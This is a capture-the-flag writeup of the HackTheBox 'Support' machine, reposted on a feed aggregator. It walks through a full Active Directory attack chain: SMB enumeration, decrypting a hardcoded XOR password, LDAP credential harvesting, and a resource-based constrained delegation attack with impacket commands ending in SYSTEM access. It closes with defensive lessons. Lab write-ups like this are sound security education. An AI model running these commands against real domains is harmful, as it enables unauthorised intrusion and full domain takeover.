惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Engineering at Meta
Engineering at Meta
博客园_首页
J
Java Code Geeks
Jina AI
Jina AI
B
Blog RSS Feed
量子位
有赞技术团队
有赞技术团队
M
MIT News - Artificial intelligence
L
LangChain Blog
Microsoft Security Blog
Microsoft Security Blog
小众软件
小众软件
博客园 - 聂微东
月光博客
月光博客
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
博客园 - 三生石上(FineUI控件)
Last Week in AI
Last Week in AI
MongoDB | Blog
MongoDB | Blog
I
InfoQ
罗磊的独立博客
H
Hackread – Cybersecurity News, Data Breaches, AI and More
爱范儿
爱范儿
Y
Y Combinator Blog
Vercel News
Vercel News
雷峰网
雷峰网

DEV Community

Authentication Security Deep Dive: From Brute Force to Salted Hashing (With Java Examples) Why AI Systems Don’t Fail — They Drift Spilling beans for how i learn for exam😁"Reinforcement Learning Cheat Sheet" I Replaced Chrome with Safari for AI Browser Automation. Here's What Broke (and What Finally Worked) How Python Borrows Other People's Work The $40 Architecture: Processing 1 Billion API Requests with 99.99% Uptime Vibe Coding: A Workflow Guide (From Zero to SaaS) Most webhook security guides protect the wrong side. The scary part is delivery. Headless CMS for TanStack Start: Build a Blog with Cosmic EU Age Verification App "Hacked in 2 Minutes" — What Actually Happened Comfy Cloud’s delete function does not actually remove files Running AI Models on GPU Cloud Servers: A Beginner Guide Event-driven media intelligence with AWS Step Functions and Bedrock I scored 500 AI prompts across 8 quality dimensions — here's what broke How to Call Google Gemini API from Next.js (Free Tier, No Backend Needed) The Portal Protocol: Reclaiming Human Connection in the Age of AI How to Fix Your Team's Scattered Knowledge Problem With a Self-Hosted Forum Intro to tc Cloud Functors: A Graph-First Mental Model for the Modern Cloud Designing Multi-Tenant Backends With Both Ownership and Team Access I Built a Neumorphic CSS Library with 77+ Components — Here's What I Learned PostgreSQL Performance Optimization: Why Connection Pooling Is Critical at Scale Cómo construí un SaaS multi-rubro para gestionar expensas en Argentina con FastAPI + Vue 3 🚀 I Built an Ethical Hacking Scanner Tool – Open Source Project I Replaced /usage and /context in Claude Code With a Single Statusline A Pythonic Way to Handle Emails (IMAP/SMTP) with Auto-Discovery and AI-Ready Design I Collected 8.9 Million Polymarket Price Points — Here's What I Found About How Markets Really Move EcoTrack AI — Carbon Footprint Tracker & Dashboard Everyone's Using AI. No One Agrees How. 5 self-hosted ebook managers worth trying in 2026 Building Your First AI Agent with LangChain: From Chatbot to Autonomous Assistant
From Credentials to Domain Admin: Support Machine Writeup
Yogeshwar Pe · 2026-05-27 · via DEV Community

Introduction

The HackTheBox "Support" machine is a masterclass in realistic Active Directory exploitation. It demonstrates how a single exposed credential can cascade through misconfigured permissions, ultimately leading to complete domain compromise.

In this writeup, we'll walk through the complete attack chain: from initial reconnaissance to extracting both the user and root flags. Along the way, we'll uncover vulnerabilities in SMB access controls, weak credential storage, and dangerous Active Directory delegation configurations.


1. Reconnaissance: Mapping the Target

Let's start by identifying what's running on the machine with Nmap:

nmap -sC -sV -A <MACHINE-IP>

Enter fullscreen mode Exit fullscreen mode

Key Findings:

  • Port 53: DNS (Simple DNS Plus)
  • Port 88: Kerberos
  • Port 135/445: Windows RPC and SMB
  • Port 389/3268: LDAP (Active Directory)
  • Port 5985: WinRM (Windows Remote Management)

This is clearly a Windows Active Directory domain controller. The LDAP output reveals the domain name: support.htb

dig @<MACHINE-IP> support.htb any
echo "<MACHINE-IP> support.htb dc.support.htb" | sudo tee -a /etc/hosts

Enter fullscreen mode Exit fullscreen mode


2. SMB Enumeration: Finding the Weak Link

smbclient -L <MACHINE-IP>

Enter fullscreen mode Exit fullscreen mode

Sharename         Type      Comment
─────────────────────────────────────
ADMIN$            Disk      Remote Admin
C$                Disk      Default share
IPC$              IPC       Remote IPC
NETLOGON          Disk      Logon server share
support-tools     Disk      support staff tools
SYSVOL            Disk      Logon server share

Enter fullscreen mode Exit fullscreen mode

Most shares are protected, but there's a custom share: support-tools — accessible to everyone.

2.1 Downloading from the Support-Tools Share

smbclient //<MACHINE-IP>/support-tools -N
smb: \> ls

Enter fullscreen mode Exit fullscreen mode

Files found:

  • 7-ZipPortable_21.07.paf.exe
  • npp.8.4.1.portable.x64.zip
  • putty.exe
  • SysinternalsSuite.zip
  • UserInfo.exe.zip ← Suspicious
  • windirstat1_1_2_setup.exe
  • WiresharkPortable64_3.6.5.paf.exe
smb: \> get UserInfo.exe.zip
unzip UserInfo.exe.zip

Enter fullscreen mode Exit fullscreen mode


3. Initial Foothold: Extracting Hidden Credentials

3.1 Identifying the Binary Type

file UserInfo.exe
# Output: PE32 executable (console) Intel 80386 Mono/.Net assembly

Enter fullscreen mode Exit fullscreen mode

This is a 32-bit .NET application — easily decompiled back to source code.

3.2 Decompiling the Application

ilspycmd UserInfo.exe > output.cs

Enter fullscreen mode Exit fullscreen mode

After analyzing the decompiled code, we discover something critical:

private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");

public static string getPassword()
{
    byte[] array = Convert.FromBase64String(enc_password);
    byte[] array2 = array;
    for (int i = 0; i < array.Length; i++)
    {
        array2[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDFu);
    }
    return Encoding.Default.GetString(array2);
}

Enter fullscreen mode Exit fullscreen mode

What we found:

  • Hardcoded Base64-encoded password
  • XOR encryption key: armando
  • Additional XOR constant: 0xDF

3.3 Decrypting the Password

#!/usr/bin/env python3
import base64
import sys

def decrypt_xor(enc_password, key, xor_constant=0xDF):
    if isinstance(key, str):
        key = key.encode()
    data = base64.b64decode(enc_password)
    decoded = bytearray()
    for i in range(len(data)):
        decoded.append((data[i] ^ key[i % len(key)]) ^ xor_constant)
    return decoded.decode()

if __name__ == "__main__":
    enc_password = sys.argv[1]
    key = sys.argv[2]
    xor_constant = int(sys.argv[3]) if len(sys.argv) > 3 else 0xDF
    try:
        decrypted = decrypt_xor(enc_password, key, xor_constant)
        print(f"[+] Decrypted: {decrypted}")
    except Exception as e:
        print(f"[-] Error: {e}", file=sys.stderr)
        sys.exit(1)

Enter fullscreen mode Exit fullscreen mode

python3 decrypt.py 0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E 'armando'
# [+] Decrypted: nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz

Enter fullscreen mode Exit fullscreen mode

LDAP credentials: ldap : nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz


4. LDAP Enumeration: Finding the Admin Password

ldapsearch -x -H ldap://<MACHINE-IP> \
  -D "support\\ldap" \
  -w 'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "dc=support,dc=htb" \
  "(ObjectClass=User)" "*"

Enter fullscreen mode Exit fullscreen mode

The info field on the support user contains plaintext credentials: support : Ironside47pleasure40Watchful

This is a critical security failure — passwords should never be stored in AD attributes in plaintext.

4.1 Mapping Permissions with BloodHound

bloodhound-python -d support.htb \
  -u ldap \
  -p 'nvEfEK16^aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -dc dc.support.htb \
  -ns <MACHINE-IP> \
  -c All

Enter fullscreen mode Exit fullscreen mode

BloodHound reveals: the support user is a member of Remote Management Users — WinRM access is possible.


5. User Flag: Getting Shell Access

evil-winrm -i <MACHINE-IP> -u support -p 'Ironside47pleasure40Watchful'

Enter fullscreen mode Exit fullscreen mode

*Evil-WinRM* PS C:\Users\support\Desktop> type user.txt
11.........c5

Enter fullscreen mode Exit fullscreen mode

User flag captured!


6. Privilege Escalation: The RBCD Attack

BloodHound shows a dangerous attack path:


support user → Shared Support Accounts → GenericAll over → Domain Controller

Enter fullscreen mode Exit fullscreen mode

6.1 Understanding RBCD

RBCD allows a compromised computer account to impersonate any user when accessing another resource. By creating a fake computer and configuring it for delegation, we can impersonate the Administrator.

6.2 Creating a Fake Computer Account

impacket-addcomputer support.htb/support:'Ironside47pleasure40Watchful' \
  -dc-ip <MACHINE-IP> \
  -computer-name 'FAKEPC$' \
  -computer-pass 'Pass123!@#'

Enter fullscreen mode Exit fullscreen mode

6.3 Configuring Delegation

impacket-rbcd support.htb/support:'Ironside47pleasure40Watchful' \
  -delegate-from 'FAKEPC$' \
  -delegate-to 'DC$' \
  -action write \
  -dc-ip <MACHINE-IP>

Enter fullscreen mode Exit fullscreen mode

6.4 Impersonating the Administrator

impacket-getST support.htb/'FAKEPC$':'Pass123!@#' \
  -spn cifs/dc.support.htb \
  -impersonate administrator \
  -dc-ip <MACHINE-IP>

export KRB5CCNAME=administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Enter fullscreen mode Exit fullscreen mode


7. Root Flag: Domain Admin Access

impacket-smbexec support.htb/administrator@dc.support.htb -k -no-pass

Enter fullscreen mode Exit fullscreen mode

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
33d............daf

Enter fullscreen mode Exit fullscreen mode

Root flag captured!


8. Attack Chain Summary

Step Action
Reconnaissance Nmap identified AD infrastructure
SMB Enumeration Anonymous access revealed UserInfo.exe.zip
Binary Decompilation ILSpy extracted XOR-encrypted LDAP credentials
Credential Recovery Python script decrypted the password
LDAP Query Plaintext password found in support user's info field
WinRM Access Shell via evil-winrm
Privilege Escalation RBCD attack via BloodHound-identified path
Domain Admin S4U2Proxy impersonated Administrator

9. Key Vulnerabilities & Lessons

1. Anonymous SMB Share — Disable anonymous access, enforce authentication.

2. Hardcoded Credentials — Use secret vaults, never embed credentials in code.

3. Weak XOR Encryption — Use AES with proper key management.

4. Plaintext Credentials in LDAP — Never store sensitive data in directory attributes.

5. Unrestricted WinRM — Restrict to trusted admin networks only.

6. Over-Privileged Groups — Enforce least privilege, audit memberships regularly.

7. GenericAll on DC Object — Review and restrict AD object permissions.

8. Misconfigured RBCD — Audit delegation configurations regularly.

9. No Monitoring — Implement AD logging and real-time alerting.


Conclusion

The Support machine illustrates a common real-world scenario: a single exposed credential escalates into complete domain compromise through a chain of misconfigurations.

Key Takeaways:

  • Never trust anonymous SMB shares — they're reconnaissance goldmines
  • Always scrutinize binaries for hardcoded secrets
  • Monitor and audit AD group memberships and permissions
  • Implement the principle of least privilege
  • Enable comprehensive logging and alerting for suspicious AD activity

This attack chain is entirely preventable with proper security controls. What's your biggest takeaway from this writeup?